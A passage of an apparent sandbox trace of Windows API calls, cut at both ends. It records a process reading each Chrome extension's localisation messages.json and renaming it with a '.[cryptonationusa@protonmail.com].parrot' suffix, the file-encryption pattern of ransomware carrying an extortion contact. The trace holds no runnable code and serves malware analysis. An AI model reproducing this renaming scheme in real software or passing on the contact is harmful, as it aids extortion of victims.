ftLastWriteTime.dwLowDateTime=0xb9e09480, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4818, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0074.482] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.482] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0074.482] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834608b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83462fc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83462fc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.482] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0074.482] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0074.482] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83462fc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83462fc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3f4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0074.482] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4064, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.482] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.483] ReadFile (in: hFile=0x274, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0074.514] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.514] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3f4c, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x3f4c, lpOverlapped=0x0) returned 1 [0074.516] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.517] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4064, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.517] CloseHandle (hObject=0x274) returned 1 [0074.518] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.521] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.521] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834608b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9e55740, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9e55740, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.521] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83462fc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83462fc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb9e55740, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4068, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0074.521] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.521] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0074.521] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83467de0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8346cc00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8346cc00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.521] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0074.522] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0074.522] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8346cc00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83471a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4082, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0074.522] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x419a, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.523] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.523] ReadFile (in: hFile=0x274, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0074.524] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.524] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x4082, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x4082, lpOverlapped=0x0) returned 1 [0074.526] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.527] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x419a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.527] CloseHandle (hObject=0x274) returned 1 [0074.527] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.530] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.530] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83467de0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9e7b8a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9e7b8a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.530] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8346cc00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83471a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb9e7b8a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x41a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0074.530] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.531] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0074.531] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83476840, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83478f50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83478f50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.531] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0074.531] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0074.531] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83478f50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83478f50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x419f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0074.531] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x42b7, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.531] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.531] ReadFile (in: hFile=0x274, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0074.533] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.533] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x419f, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x419f, lpOverlapped=0x0) returned 1 [0074.535] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.535] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x42b7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.535] CloseHandle (hObject=0x274) returned 1 [0074.536] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.538] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.539] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83476840, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9e7b8a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9e7b8a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.539] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83478f50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83478f50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb9e7b8a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x42b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0074.539] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.539] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0074.539] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8347dd70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83480480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83480480, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.539] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0074.539] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0074.539] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83480480, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83480480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x5079, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0074.540] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5191, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.540] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.540] ReadFile (in: hFile=0x274, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0074.541] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.541] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x5079, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x5079, lpOverlapped=0x0) returned 1 [0074.543] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.544] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5191, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.544] CloseHandle (hObject=0x274) returned 1 [0074.544] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.547] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.547] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8347dd70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9ea1a00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9ea1a00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.547] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83480480, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83480480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb9ea1a00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x5198, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0074.548] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.548] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0074.548] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834852a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834879b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834879b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.548] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0074.548] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0074.548] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834879b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834879b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x50f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0074.548] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x520f, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.548] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.548] ReadFile (in: hFile=0x274, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0074.550] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.550] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x50f7, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x50f7, lpOverlapped=0x0) returned 1 [0074.552] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.553] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x520f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.553] CloseHandle (hObject=0x274) returned 1 [0074.553] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 